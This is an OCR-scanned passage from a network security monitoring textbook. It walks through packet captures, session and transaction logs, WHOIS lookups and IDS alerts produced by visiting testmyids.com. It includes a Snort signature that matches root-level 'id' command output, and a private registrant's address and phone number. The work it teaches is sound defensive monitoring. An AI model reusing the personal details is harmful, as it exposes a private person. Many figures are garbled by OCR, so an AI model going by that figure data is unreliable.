331f a20a 0050 38d7 eb35 1043 307d 5018 3....P8..5.CO}P. 
3564 180c 0000 4745 5420 2f20 4854 5450 .d....GET./.HTTP 
2f31 2e31 OdOa 486f 7374 3a20 7777 772e /1.1..Host:.www. 
7465 7374 6d79 6964 732e 636f 6dod 0355 testmyids.com..U 
7365 722d 4167 656e 743a 204d 6f7a 696c ser-Agent:.Mozil 
6c61 2f35 2e30 2028 5831 313b 2055 6275 1a/5.0.(X11;.Ubu 
6e74 753b 204c 696e 7578 2078 3836 5f36 ntu;.Linux.x86 6 
343b 2072 763a 3138 2e30 2920 4765 636b 4;.rv:18.0).Geck 
6f2f 3230 3130 3031 3031 2046 6972 6566 0/20100101.Firef 
6f78 2f31 382e 300d 0a41 6363 6570 743a ox/18.0..Accept: 
2074 6578 742f 6874 6d6c 2c61 7070 6c69 .text/html,appli 
6361 7469 6f6e 2f78 6874 6d6c 2b78 6d6c cation/xhtml+xml 
2c61 7070 6c69 6361 7469 6f6e 2f78 6d6c  ,application/xml 
3b71 3d30 2e39 2c2a 2f2a 3b71 3d30 2e38 ;q=0.9,*/*;q=0.8 
OdOa 4163 6365 7074 2d4c 616e 6775 6167 ..Accept-Languag 
653a 2065 6e2d 5553 2c65 6e3b 713d 302e e:.en-US,en;q=0. 
350d 0a41 6363 6570 742d 456e 636f 6469 5..Accept-Encodi 
6e67 3a20 677a 6970 2c20 6465 666c 6174 ng:.gzip,.deflat 
650d 0a43 6f6e 6e65 6374 696f 6e3a 206b e..Connection:.k 
6565 702d 616c 6976 650d 0ao0d 0a eep-alive.... 





Listing 1-2: Tcpdump output showing content 
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Notice how this listing includes much more information than the 
headers in Listing 1-1. Not only do you see full header information (MAC 
addresses, IP addresses, IP protocol, and so on), but you also see the higher- 
level content sent by the web browser. You can read the GET request, the 
user agent, some HyperText Transfer Protocol (HTTP) headers (Accept, 
Accept-Language, Accept-Encoding, and so on). Although it appears a bit 
unwieldy in this format, the granularity is undeniable. 


Using a Graphical Tool to View the Traffic 


We can look at this same full content traffic with a graphical tool like Wire- 
shark (hitp://www.wireshark.org/), as shown in Figure 1-7. Wireshark is an open 
source protocol analysis suite with a rich set of features and capabilities. In 
Figure 1-7, I’ve highlighted the packet showing a GET request, corresponding 
to the same packet depicted in Listing 1-2. 

Clearly, if you have access to full content data, there are few limits to 
the sorts of analysis you can conduct. In fact, if you have all the traffic pass- 
ing on the wire, you can extract all sorts of useful information. 

The next section shows how to assemble packets to capture interactions 
between computers, including messages and files transferred. 
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Filter | | ~ | Expression... Clear Apply Seve 
No. Time Source Destination Protocol Length Info 
1 19:09:47. 398547 192.168.238.152 192.168. 238.2 DNS 77 Standard query Ox0e7c A www.testmyids.com 
2 19:09:47.469306 192.168.238.2 192.168.238.152 DNS 93 standard query response Ox0e7c A 217.160.51.31 
3 19:09:47.469646 192.168.238.152 217.160.51.31 TCP 74 41482 > http [SYN] Seq=0 win-42340 Len=0 MSS-1460 SACK PERM-l 
4 19:09:47.594058 217.160.51.31 192.168.238.152 TCP 60 http > 41482 [SYN, ACK] Seq-0 Ack-1 win-64240 Len=0 MSS-1460 
5 19:09:47.594181 192.168.238.152 217.160.51.31 TCP 60 41482 > http [ACK] Seq=1 Ack=1 win=42340 Len=0 
: z 5 349 GET / HTTP/1. 
7 19:09:47.594932 217.160. 51.31 192.168.238.152 TCP 60 http > 41482 Seq-1 Ack-296 win-64240 Len=0 
8 19:09:47.714886 217.160.51.31 192.168.238.152 HTTP 369 HTTP/1.1 200 OK (text/html) 
9 19:09:47.715003 192.168.238.152 217.160.51.31 TCP 60 41482 > http [ACK] Seq=296 Ack-316 win=42025 Len=0 
10 19:09:47.761724 192.168.238.152 217.160. 51. 31 HTTP 330 GET /favicon.ico HTTP/1.1 
11 19:09:47.761938 217.160. 51.31 192.168.238.152 TCP 60 http > 41482 [ACK] Seq-316 Ack-572 win=64240 Len=0 
12 19:09:47. 881783 217.160. 51.31 192.168.238.152 HTTP 875 HTTP/1.1 404 Not Found (text/html) 
13 19:09:47.881902 192.168.238.152 217.160.51.31 TCP 60 41482 > http [ACK] Seq-572 Ack-1137 win-42025 Len=0 
14 19:09:47.883058 192.168.238.152 217.160.51.31 HTTP 360 GET /favicon.ico HTTP/1.1 
15 19:09:47.883473 217.160.51.31 192.168.238.152 TCP 60 http > 41482 [ACK] Seq=1137 Ack=878 win=64240 Len=0 
16 19:09:48. 009385 217.160. 51.31 192.168.238.152 HTTP 875 HTTP/1.1 404 Not Found (text/html) 
17 19:09:48.047178 192.168.238.152 217.160.51.31 TCP 60 41482 > http [ACK] Seq-878 Ack=1958 win=42025 Len=0 
18 19:09:50.018064 217.160.51.31 192.168.238.152 TCP 60 http > 41482 [FIN, PSH, ACK] Seq-1958 Ack=878 win-64240 Len=0 
19 19:09:50.018299 192.168.238.152 217.160.51.31 TCP 60 41482 > http [FIN, ACK] Seq-878 Ack=1959 win-42025 Len=0 
20 19:09:50.018448 217.160.51.31 192.168.238.152 E 60 http > 41482 [ACK] Seq-1959 Ack-879 win-64239 Len=0 








«| m ] , 
Frame 6: 349 bytes on wire (2792 bits), 349 bytes captured (2792 bits) 

Ethernet II, Src: vmware fc:b0:3b (00:0c:29:fc:b0:3b), Dst: vmware fe:08:d6 (00:50:56:fe:08:d6) 

Internet Protocol version 4, Src: 192.168.238.152 (192.168.238.152), Dst: 217.160.51.31 (217.160.51.31) 

Transmission Control Protocol, src Port: 41482 (41482), Dst Port: http (80), Seq: 1, Ack: 1, Len: 295 

8 




















DRE eT Mes ee See Se ee ee 
© GER RNC ee a ee eee ae 

Host: www. testmyids. com\r\n 

User-Agent: Mozilla/5.0 (x11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0\r\n 

Accept: text/html ,application/xhtml+xm] application/xml; q=0.9,*/*;q=0. 8\r\n 

Accept-Language: en-us,en; q=0.5\r\n 

Accept-Encoding: gzip, deflate\r\n 

Connection: keep-alive\r\n 

\r\n 

[Full request URI: http://www.testmyids.com/] 


0000 00 50 56 fe 08 d6 OO Oc 29 fc bO 3b 08 00 45 00 
0010 01 4f c3 42 40 00 40 O6 ba 65 cO a8 ee 98 d9 a0 .Q. .e....s. 
0020 33 1f a2 Oa 00 50 38 d7 eb 35 10 43 30 7d 50 18 3. + .5.C0JP. | 
0030 a5 64 18 Oc 00 00 47 45 54 20 2f 20 48 54 54 50 .d....GE T / HTTP 
0040 2f 31 2e 31 Od Oa 48 6f 73 74 3a 20 77 77 77 2e  /1.1..HO St: www. 
0050 74 65 73 74 6d 79 69 64 73 2e 63 6f 6d Od Oa 55 testmyid s.com..U 
0060 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c  ser-Agen t: Mozil 
0070 6c 61 2f 35 2e 30 20 28 58 31 31 3b 20 55 62 75 Ta/5.0 ( x11; Ubu 
0080 6e 74 75 3b 20 4c 69 Ge 75 78 20 78 38 36 5f 36 ntu; Lin ux x86 6 à 


Ie tad File: "C:\Users\richard\Documents\capledit.... | Packets: 20 Displayed: 20 Marked: 0 Load time: 0:00.085 Profile: Default 









































Figure 1-7: Wireshark's rendition of web browsing traffic 


Extracted Content Data 


Extracted content refers to high-level data streams— such as files, images, 
and media—transferred between computers. Unlike with full content data, 
which includes headers from lower levels of the communication process, 
with extracted content, we don't worry about MAC addresses, IP addresses, 
IP protocols, and so on. Instead, if two computers exchange a file, we review 
the file. If a web server transfers a web page to a browser, we review the web 
page. And, if an intruder transmits a piece of malware or a worm, we review 
the malware or worm. 

Wireshark can depict this content as a stream of data, as shown in 
Figure 1-8. The GET message shows content sent from the web browser to 
the web server. The HTTP/1.1 message shows content sent from the web 
server back to the web browser. (I’ve truncated the conversation to save 
space.) Then the web client makes a request (GET /favicon.ico), followed 
by another reply from the web server (HTTP/1.1 404 Not Found). 
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Stream Content 


GET / HTTP/1.1 
(Host: www.testmyids.com r3 
User-Agent: Mozilla/5.0 (x11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 
|Firefox/18.0 

|Accept: text/html,application/xhtml«xml,application/xml;q-0.9,*/*;q-0.8 
|Accept-Language: en-US,en;q-0.5 

Accept-Encoding: gzip, deflate 

iconnection: keep-alive 








HTTP/1.1 200 OK 

Date: wed, 16 Jan 2013 19:09:47 GMT 

Server: Apache 

Last-Modified: Mon, 15 Jan 2007 23:11:55 GMT 
ETag: "61c22f22-27-4271c5flac4cO" 
Accept-Ranges: bytes 

Content- -Length: 39 = 
Keep-Alive: timeout=2, max=200 

Connection: Keep- -Alive 

Content-Type: text/html 








uid=0(root) gid=0(root) groupssoCroot) 

GET /favicon.ico HTTP/1.1 

|HOSt: www.testmyids.com 

|User-Agent: Mozilla/5.0 (x11; Ubuntu; Linux x86. 64; rv:18.0) Gecko/20100101 
|Firefox/18.0 

Accept: image/png, image/*; q=0.8,*/*;q=0.5 

|Accept-Language: en-US,en;q=0.5 

|Accept-Encoding: gzip, deflate 

\connection: keep-alive 





HTTP/1.1 404 Not Found 

|Date: wed, 16 Jan 2013 19:09:47 GMT 
‘Server: Apache 

Content-Length: 640 

Keep-Alive: timeout-2, max-199 
Connection: Keep-Alive 
|Content-Type: text/html 


Entire conversation (2834 bytes) [z] 








End J| Sweas ][ Print] © asc €) EBCDIC © Hex Dump © CArrays © Raw 


Help Filter Out This Stream Close 























Figure 1-8: Wireshark's rendition of extracted content 


When you visit a website, the actions that produce the messages shown 
in Figure 1-8 are happening behind the scenes to get you the content you 
want. Security teams can analyze this data for suspicious or malicious con- 
tent. For example, intruders may have injected links to malicious websites 
into websites trusted by your users. NSM professionals can find these evil 
links and then learn if a user suffered a compromise of his computer. 

In addition to viewing web browsing activity as text logs or data streams, 
it can be helpful to see reconstructions of a web browsing session. As you can 
see in Figure 1-9, the open source tool Xplico (http://www.xplico.org/) can 
rebuild a web page whose content was captured in network form. 

Figure 1-9 shows an Xplico case where the analyst chooses to rebuild the 
http://www.testmyids.com/ website. With a tool like Xplico, you don't need to 
look at possibly cryptic messages exchanged by web servers and web browsers. 
Xplico and other network forensic tools can try to render the website as 
seen by the user. 

For the past several years, NSM practitioners have extracted content 
from network traffic in order to provide data to other analytical tools and 
processes. For example, NSM tools can extract executable binaries from 
network streams. Analysts can save and submit these artifacts to antivirus 
engines for subsequent analysis. They can also reverse engineer the samples 
or *detonate" them in a safe environment for deeper examination. 

Now we will continue with a new form of NSM data: session data. 


Firefox ~ 


IC. Xplico .:Webs:.. 





S) | @ https://192.168.238.152:9876/webs C | E- xplico default credentials P A D- 


xplico 


Web URLs: — 9 Html © Image O Flash O Video © Audio OJSON 
Search: Go 


Date Url i Method Info 
2013-01-16 19:09:47 www.testmyids.com/ GET  infoxml 





2013-01-16 19:09:47 www.testmyids.com/favicon.ico GET info.xml 


2013-01-16 19:09:47 www.testmyids.com/favicon.ico GET info.xml 














uid=0(root) gid=0(root) groups=0(root) 











Figure 1-9: Xplico’s rendition of the http://www.testmyids.com/ website 


Session Data 


Session data is a record of the conversation between two network nodes. An 
NSM tool like Bro (Attp://www.bro.org/) can generate many types of logs 
based on its inspection of network traffic. Listing 1-3 shows an excerpt from 
the Bro conn.log that corresponds to the web browsing activity discussed in 
"Full Content Data" on page 16. 





#fields 

ts uid id.orig h id.orig p id.resp h id.resp p 
proto service duration orig bytes resp bytes conn state local orig missed bytes 
history orig pkts orig ip bytes resp pkts resp ip bytes tunnel parents orig cc resp cc 


#types 
time string addr port addr port 
enum string interval count count string bool count 

string count count count count table[string] string string 


2013-01-16T19:09:47+0000@ 90E6goBBSw3 192.168.238.152@ 414820 217.160.51.3190 


800 tcpO http 2.548653 8770 19570 SF T 0 

ShADadfF 9 1257 9 2321 (empty) - DE 
2013-01-16T19:09:4740000 49vu9nUOyJf 192.168.238.152 52518 192.168.238.2 

53 udp dns 0.070759 35 51 SF T 0 

Dd 1 63 1 79 (empty) - - 





Listing 1-3: Sample session data from the Bro connection log (conn.log) 
Session data collapses much of the detail into core elements, including 
the timestamp 6, source IP address @, source port 6, destination IP address 


O, destination port ©, protocol O, application bytes sent by the source 9, 
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sovm-eth1 
sovm-eth1 


application bytes sent by the destination ®, and other information. One 
could generate session data from full content data, but if hard drive space 
is ata premium, then logging only session data might be a good option. 

The open source session data tool Argus (hitp://www.qosient.com/argus/) 
can also generate records for this traffic, as shown in Listing 1-4. 





StartTime Flgs Proto SrcAddr Sport Dir DstAddr Dport 
TotPkts TotBytes State 


19:09:47.398547 e udp 192.168.238.152.52518 <-> 192.168.238.2.53 
2 170 CON 


19:09:47.469646 e tcp 192.168.238.152.41482  -» 217.160.51.31.80 
18 3892 FIN 





Listing 1-4: Sample session data from Argus 


The open source tool Sguil (hitp://www.sguil.net/) can also be used to 
view session data. Sguil traditionally used the SANCP tool (hitp://nsmwiki 
.org/SANCP) to collect session data and render it as shown in Figure 1-10. 


Start Time 


5.1358363387000000183 2013-01-16 19:09:47 :09:50 192.168.238.152 41482 217.160.51.31 80 
5.1358363387000000182 2013-01-16 19:09:47 2013-01-16 19:09:47 — 192.168.238.152 52518 192.168.238.2 53 





Figure 1-10: Sguil's rendition of session data collected by SANCP 


Session data tends to focus on the call details of network activity. This 
information includes who spoke, when, and how, and the amount of informa- 
tion each party exchanged. The nature of those exchanges is not usually 
stored in session data. For that, we turn to transaction data. 


Listings 1-3 and 1-4 and Figure 1-10 each show slightly different output. We'll exam- 
ine why later in the book. 


Transaction Data 


Transaction data is similar to session data, except that it focuses on under- 
standing the requests and replies exchanged between two network devices. 

We'll use Bro to explore an example of transaction data. As you can see 
in Listing 1-5, reviewing Bro’s hitp.log shows the request and reply between a 
web browser and web server. 





2013-01-16T19:09:47+0000 90E6goBBSw3 192.168.238.152 41482 217.160.51.31 80 
1 GETO www. testmyids.com / - Mozilla/5.0 (X11; Ubuntu; 
Linux x86_64; 

rv:18.0) Gecko/20100101 Firefox/18.0 0 39 2000 OK - - 
- (empty) - - - text/plain - - 
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2013-01-16T19:09:47+0000 90E6goBBSw3 192.168.238.152 41482  217.160.51.31 80 


2 GETO www. testmyids.com /favicon.ico - Mozilla/5.0 (X11; Ubuntu; 
Linux x86 64; 

1v:18.0) Gecko/20100101 Firefox/18.0 0 640 4040 Not Found - - 
- (empty) - - - text/html - - 

2013-01-16T19:09:47+0000 90E6goBBSw3 192.168.238.152 41482 217.160.51.31 80 
3 GETO www. testmyids . com /favicon.ico - Mozilla/5.0 (X11; Ubuntu; 
Linux x86_64; 

rv:18.0) Gecko/20100101 Firefox/18.0 0 640 4040 Not Found - - 
- (empty) - - - text/html - - 





Listing 1-5: Sample transaction data from a Bro HTTP log (http.log) 


These records show the web browser's GET request for the web root / 8, 
followed by one request for a favicon.ico file @, and a second request for a 
favicon.ico file 9. The web browser responded with a 200 OK for the web root 
GET request O and two 404 Not Found responses for the favicon.ico file 9. 

This is just the sort of information a security analyst needs in order 
to understand the communication between the web browser and the web 
server. It's not as detailed as the full content data, but not as abstract as 
the session data. Think of it this way: If full content data records every 
aspect of a phone call, and session data tells you only who spoke and for 
how long, then transaction data is a middle ground that gives you the gist 
of the conversation. 

Let's briefly look at transaction data for a different aspect of the sample 
web browsing activity: DNS requests and replies, as shown in Listing 1-6. 
Again, we don't need all the granularity of the full content data, but the 
session data would just show that an exchange took place between the two 
computers. Transaction data gives you a middle ground with some detail, 
but not an excessive amount. 





2013-01-16T19:09:47+0000 49vu9nUOyJf 192.168.238.152 52518 
192.168.238.2 53 udp 3708 www. testmyids . com 1 C. 
INTERNET 1 A 0 NOERROR F F T T 

0 217.160.51.31 5.000000 





Listing 1-6: Sample transaction data from a Bro DNS log (dns.log) 


Bro and other NSM tools can render various forms of transaction data, 
as long as the software understands the protocol being inspected. 

You may get the sense that transaction data is the “perfect” form 
of NSM data; it’s not too hot and not too cold. However, each datatype 
has its uses. I will show why this is true when we look at tools in detail in 
Chapters 6, 7, and 8, and at case studies in Chapters 10 and 11. 


Network Security Monitoring Rationale 23 


24 


Chapter 1 


Statistical Data 


Statistical data describes the traffic resulting from various aspects of an 
activity. For example, running the open source tool Capinfos (packaged 
with Wireshark) against a file containing stored network traffic gives the 
results shown in Listing 1-7. The example shows key aspects of the stored 
network traffic, such as the number of bytes in the trace (file size), the 
amount of actual network data (data size), start and end times, and so on. 





File name: 

File type: 

File encapsulation: 
Packet size limit: 
Number of packets: 
File size: 

Data size: 

Capture duration: 
Start time: 

End time: 

Data byte rate: 
Data bit rate: 


Average packet size: 
Average packet rate: 


SHA1: 

RIPEMD160: 

MD5: 

Strict time order: 


capledit.pcap 

Wireshark/tcpdump/... - libpcap 

Ethernet 

file hdr: 65535 bytes 

20 

4406 bytes 

4062 bytes 

3 seconds 

Wed Jan 16 19:09:47 2013 

Wed Jan 16 19:09:50 2013 

1550.44 bytes/sec 

12403.52 bits/sec 

203.10 bytes 

7.63 packets/sec 
€053c72f72f4d980149893c8a266e9bbobdd1824b 
8d55bec02ce3fcb277a27052727d15afba6822cd 
7b3ba0ee76b7d3843b14693ccb737105 

True 


Listing 1-7: Statistical data from Capinfos 


This is one example of statistical data, but many other versions can be 
derived from network traffic. 

Wireshark provides several ways to view various forms of statistical data. 
The first is a simple description of the saved traffic, as shown in Figure 1-11. 
This figure shows information similar to that found in the Capinfos exam- 
ple in Listing 1-7, except that it’s generated within Wireshark. 

Wireshark also provides protocol distribution statistics. Figure 1-12 
shows traffic broken down by type and percentages. 

In Figure 1-12, you can see that the trace consists of all IP version 4 
(IPv4) traffic. Within that protocol, most of the activity is Transmission 
Control Protocol (TCP), at 90 percent. The remaining 10 percent is User 
Datagram Protocol (UDP). Within the TCP traffic, all is HTTP, and within 
the UDP traffic, all is DNS. Analysts use these sorts of breakdowns to iden- 
tify anomalies that could indicate intruder activity. 





File 


Name: C:\Users\richard\Documents\cap1edit.pcap 
Length: 4406 bytes 
Format: Wireshark/tcpdump/... - libpcap 
Encapsulation: Ethernet 
Packet size limit: 65535 bytes 
Time 
First packet: 2013-01-16 14:09:47 
Last packet: 2013-01-16 14:09:50 
Elapsed: 00:00:02 
Capture 





pm file comments 








Interface Dropped Packets Capture Filter Link type Packet size limit 


unknown unknown unknown Ethernet 65535 bytes 
Display 

Display filter: none 

Ignored packets: 0 
Traffic 4 Captured <4 Displayed 4 Marked 4 


Packets 20 20 0 
Between first and last packet 2.620 sec 


Avg. packets/sec 7.634 

Avg. packet size 203.100 bytes 
Bytes 4062 

Avg. bytes/sec 1550.440 
Avg. MBit/sec 0.012 











Figure 1-11: Basic Wireshark statistical data 































Display filter: none 
% Packets Packets % Bytes Bytes Mbit/s End Packets End Bytes End Mbit/s 
20| 100.00 
E) Ethernet 20 4062 0 
E Internet Protocol Version 4 100.00 % 20 4062 0.012 0 0 — 0000 
E) User Datagram Protocol 10.00 % 2| 4199; — 170 0001 0 0 — 0000 
Domain Name Service 10.00 % 2| 419% 170 0.001 2 170 0.001 
© Transmission Control Protocol 90.00 % 18 NERIS 3892 0.012 12 734 0.002 
E Hypertext Transfer Protocol 0.00 % 6 DEZE; 3158 0.010 3 1039 0003 
Line-based text data 15.00 % 3EEEU 2119 0006 3 219 0006 
Figure 1-12: Wireshark protocol distribution statistics 
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Another form of statistical data gen- (_ 
Topic / Item CountRate (ms) Percent 


erated by Wireshark is packet length sta- = Packet Lengths 20 0.007634 
tistics, as shown in Figure 1-13. 0-19 0 0.000000 0.00% 
Figure 1-13 shows that the majority 20-39 0 0.000000 0.00% 
of the traffic has packet lengths of 40 A P3. 700)955:620035 
to 79 bytes. In some organizations, this ion a 10000332 300% 
cae DU ME 160-319 0 0.000000 0.00% 

could indicate suspicious or malicious 

itv T 1 k 320-639 4 —— 0,001527 20.00% 
activity. For example, an attacker con- Gar 2. eran die 
ducting a distributed denial-of-service 1280-2559 O 0.000000 0.00% 
(DDoS) attack might generate millions 2560-5119 O 0.000000 0.00% 
of smaller packets to bombard a target. 5120- 0 0.000000 0.00% 


That is not the case here; the packets 
are mainly 40 to 79 bytes, or 320 to 1279 
bytes. 
Metadata, discussed next, is related Figure 1-13: Wireshark packet length 
to statistical data, and is just as valuable. statistics 


Metadata 


Metadata is *data about data." In order to generate metadata, we extract 
key elements from network activity, and then leverage some external tool 

to understand it. For example, we have seen many IP addresses in the traffic 
thus far. Who owns them? Does their presence indicate a problem for us? 
To answer those questions, we could inspect the domains and IP addresses 
for the traffic and retrieve metadata, beginning with a query of the WHOIS 
database for IP information, as shown in Listing 1-8. 








oe 


This is the RIPE Database query service. 
The objects are in RPSL format. 


S9 89 se 


The RIPE Database is subject to Terms and Conditions. 
See http://www.ripe.net/db/support/db-terms-conditions.pdf 


se 


E 


& Note: this output has been filtered. 
To receive output for a database update, use the "-B" flag. 


oe 


% Information related to '217.160.48.0 - 217.160.63.255' 


inetnum: 217.160.48.0 - 217.160.63.255 
netname: SCHLUND-CUSTOMERS 

descr: 181 Internet AG 

descr: NCC#1999110113 

country: DE 

admin-c: IPAD-RIPE 

tech-c: IPOP-RIPE 

remarks: in case of abuse or spam, please mailto: abuse@oneandone.net 
status: ASSIGNED PA 

mnt-by: AS8560-MNT 

source: RIPE # Filtered 

-- snip -- 


% Information related to '217.160.0.0/16AS8560' 


route: 217.160.0.0/16 
descr: SCHLUND-PA- 3 
origin: AS8560 

mnt-by: AS8560-MNT 
source: RIPE # Filtered 


% This query was served by the RIPE Database Query Service version 1.50.5 
(WHOIS1) 





Listing 1-8: WHOIS output for IP address 


Next, query WHOIS for domain information, as shown in Listing 1-9. 





Domain Name: TESTMYIDS.COM 

Registrar: TUCOWS DOMAINS INC. 

Whois Server: whois.tucows.com 

Referral URL: http://domainhelp.opensrs.net 
Name Server: NS59.1AND1.CO.UK 

Name Server: NS60.1AND1.CO.UK 

Status: ok 

Updated Date: 11-aug-2012 

Creation Date: 15-aug-2006 

Expiration Date: 15-aug-2014 


»»» Last update of whois database: Wed, 16 Jan 2013 21:53:46 UTC ««« 
-- snip -- 


Registrant: 

Chas Tomlin 

7 Langbar Close 

Southampton, HAMPSHIRE S019 72H 
GB 


Domain name: TESTMYIDS.COM 


Administrative Contact: 
Tomlin, Chas chas.tomlin@net-host.co.uk 
7 Langbar Close 
Southampton, HAMPSHIRE S019 7JH 
GB 
+44.2380420472 
Technical Contact: 
Ltd, Webfusion services@123-reg.co.uk 
5 Roundwood Avenue 
Stockley Park 
Uxbridge, Middlesex UB11 1FF 
GB 
+44.8712309525 Fax: +44.8701650437 
-- snip -- 





Listing 1-9: WHOIS output for domain 
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The example in Listing 1-9 shows that the domain /estmyids.com is regis- 
tered to a user in Great Britain. This is public information that could prove 
valuable if we need to better understand the nature of this website. 

To understand more about the IP addresses in the examples, we might 
want to analyze routing data to see how www.testmyids.com connects to the 
Internet. NSM analysts might use routing data to link various suspicious 
IP addresses to each other. RobTex (http://www.robtex.com) offers a free 
resource to show routing data. Figure 1-14 shows its results for testmyids.com. 

Figure 1-14 shows how the servers hosting festmyids.com relate to their 
part of the Internet. We see that they ultimately get network connectivity via 
AS number 8560, on the far right side of the diagram. An Autonomous System 
(AS) is an aggregation of Internet routing prefixes controlled by a network. 
By understanding this information, NSM analysts might link this site to oth- 
ers on the same AS, or group of systems. 

Many other forms of metadata can be derived from network traffic. We 
conclude this section by looking at the application of threat intelligence to 
network activity. 





€ 





Sy | @ dns.robtex.com/testmyids.com.html#graph 





Result Summary Records Graph Shared Whois Blacklists 


testmyids.com 


testmyids.com 
Mx 


2001:8d816:53:0930:51a9:100 —&— T ns60.landl.co.uk 


217.160.81.169 


Google" custom Search 


e M 
Analysis Contact 


WM Tweet <0 


up. com 


ET 
217.160.0.0/16 


217.160.51.31 a. 21222715186 
A. 
PIR 
wx mx0l1.landl.co.uk A 21222715134 PIB. mx.b.kundenserver.de 
A PERR 
À ABET 4s 
mx00.1and1.co.uk A> 21222715150 En 212.227 0.0/16 AS. AS8560 
AS, 
Å 
212.227.15.169 
NS 
ns59.1and1.co.uk $ 217.160.80.169 NEL 217.160.80.0/22 


NET 
Ns i E 


2001:8d8:fe:53::d9a0:50a9:100 








Figure 1-14: Robtex routing information for testmyids.com domain 
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Alert Data 


Alert data reflects whether traffic triggers an alert in an NSM tool. An 
intrusion detection system (IDS) is one source of alert data. Snort (http:// 
www.snort.org/) and Suricata (Attp://suricata-ids.org/) are two popular open 
source IDSs. These tools watch and interpret network traffic, and create a 
message when they see something they are programmed to report. These 


alerts are based on patterns of bytes, or counts of activity, or even more 
complicated options that look deeply into packets and streams on the wire. 

Analysts can review alert data in consoles like Sguil or Snorby (hitp:// 
wwuw.snorby.org/). For example, Figure 1-15 shows a Snorby screen displaying 
the details of an IDS alert triggered by visiting http://www.testmyids.com/, and 
Figure 1-16 shows what Sguil displays. 


e Administrator 


Administration 


E Hotkeys Classify Event(s) ^ ::: More Options 





Sev. Sensor Source IP Destination IP Event Signature Timestamp 


| | sovm-eth1:1 217.160.51.31 192.168.238.152 GPL ATTACK_RESPONSE id check returned root 7:09 PM 
IP Header Information Perform Mass Classification Packet Capture Options Event Export Options ^ Permalink 


Source Destination Flags Proto Csum 





217.160.51.31 (i£) 192.168.238.152 (E) 


Signature Information 


Generator ID Sig. ID Sig. Revision Activity (1/532) Category Sig Info 





1 2100498 8 bad-unknown Query Signature Database | | View Rule | 





TCP Header Information 


Src Port Dst Port Seq Ack 


41482 272838781 953674844 


HTTP/1.1.200.0K. .Date: .Wed 
,.16.Jan.2013.19:09:47.GMT 
..Server: .Apache. . Last-Mod 
ified:.Mon,.15.Jan.2007.23 
:11:55.GMT. .ETag:."61c22f2 
2-27-4271c5flac4c0"..Accep 
t-Ranges:.bytes..Content-L 
ength:.39..Keep-Alive:.tim 
eout-2,.max-200..Connectio 
n:.Keep-Alive..Content-Typ 
e:.text/html....uid-0(root 
) -gid-0 (root) .groups-0 (roo 
t). 


Add A Note To This Event 








Figure 1-15: Snorby alert data 


In a single console, Snorby collects a wealth of information, such as the 
IP addresses involved with the connection and the packet that generated the 
alert. Snorby also gives analysts the ability to search for related data and make 
incident classification and management decisions based on what they see. 

Sguil captures much of the same information as shown by Snorby. The 
difference is that Snorby is a web-based tool, whereas Sguil is a *thick client" 
that users install on their desktops. Both sorts of NSM tools display alerts by 
correlating known or suspected malicious data with network activity. 
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LJ SGUIL-0.8.0 - Connected To localhost Q adt 
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-01-16 22:09:05 GMT| 


192.168.238.152 414822 6 GPL ATTACK_RESPONSE id check returned root 


M Show Packet Data v Show Rule 
=| | alert ip any any -> any any (msg:"GPL ATTACK RESPONSE id check returned root"; 

M Reverse DNS | Enable External DNS content:"uid=0 | 28| root |29|"; fast_pattern:only; classtype:bad-unknown; sid:2100498; rev:8;) 

src IP: 217.160.51.31 /nsm/server data/securityonion/rules/sovm-eth1-1/downloaded.rules: Line 13482 

Src Name: 5193738556. websitehome.co.uk 

Dst IP: 192.168.238.152 xs 

Dst Name: Unknown p Source IP Dest IP Ver HL TOS len ID Flags Offset TTL ChkSum 

Whois Query: C None @ SrcIP C DstIP [217.160.51.31 [192.168.238.152 |a [5 |o [355 [s154 |o fo [128 [23994 









































[% This is the RIPE Database query service. UAPRSF 

% The objects are in RPSL format. Source Dest RRRCSSYI 

% Pot Pot 10GKHTNN Seq# Ack# Offset Res Window Urp Chksum 

% The RIPE Database is subject to Terms and Conditions. laag2 |... xx. |. |. [272838781 [953674844 [5 [o (64240 |o [34037 
See http:/A „ripe. 'db/: Jdb-1 x iti „pdf 

96 See http://www. ripe.net/db/support/db-terms-conditions.pd 31 32 NIDYTEDETDES 


3A 64 .Date: Wed, 16 J 
31 39 an 2013 19:09:47 
0A 76 GMT..Server: Ap 
0A 74 ache..Last-Modif 
4D 20 ied: Mon, 15 Jan 
20 31 2007 23:11:55 G 
54 20 MT..ETag: "61c22 
37 37 f22-27-4271c5fla 
0D 63 c4c0"..Accept-Ra 
20 65 nges: bytes. .Con 
4C 74 tent-Length: 39. 
2D 76 .Keep-Alive: tim 
32 61 eout-2, max-200. 
65 6F .Connection: Kee 
76 43 p-Alive..Content 
3A 78 -Type: text/html 
69 28 ....uid-0(root) 

28 74 gid=0(root) grou 
72 29 ps-O(root). 











96 Note: this output has been filtered. 
% To receive output for a database update, use the "-B" flag. 


% Information related to '217.160.48.0 - 217.160.63.255' 


inetnum: 217.160.48.0 - 217.160.63.255 
netname: SCHLUND-CUSTOMERS 
descr: 1&1 Internet AG 

descr: NCC#1999110113 

|country: DE 

admin-c: — IPAD-RIPE 

tech-c: IPOP-RIPE 

remarks: in case of abuse or spam, please mailto: abuse@oneandone.net 
|status: ASSIGNED PA 

mnt-by: AS8560-MNT 

|source: RIPE # Filtered 


role: IP Administration 
address: 1&1 Internet AG 
admin-c: AFIS-RIPE = = 
Jadmin-c: — RME9-RIPE Search Packet Payload | ^ Hex © Text | NoCase 






































Figure 1-16: Sguil alert data 


In the previous examples, the Snort IDS generated GPL ATTACK_RESPONSE 
id check returned root alerts as a result of a user visiting the http://www 
.testmyids.com/ website. It’s up to the analyst to decide if this is benign, suspi- 
cious, or malicious. How to obtain data, use the tools, and operate a process 
to make this decision is the focus of this book, and I answer these questions 
in the chapters that follow. 


Whar's the Point of All This Data? 


The variety and diversity of NSM data equips CIRTs to detect, respond to, 
and contain intruders in a manner that complements the efforts of other 
tools and systems. NSM can make it possible for analysts to discover and act 
on intrusions early on in the process, and to use retrospective security analysis 
(RSA) to apply newly discovered threat intelligence to previously collected 
data in hopes of finding intruders who evaded earlier detection. NSM also 
gives analysts the data they need for postmortem analysis, which is an exami- 
nation following incident resolution. 

If I had to leave you with one critical lesson from doing NSM opera- 
tions, it’s this: The best way to use network-centric data to detect and 
respond to intrusions is to collect, analyze, and escalate as much evidence 
as your technical, legal, and political constraints allow. This means doing 
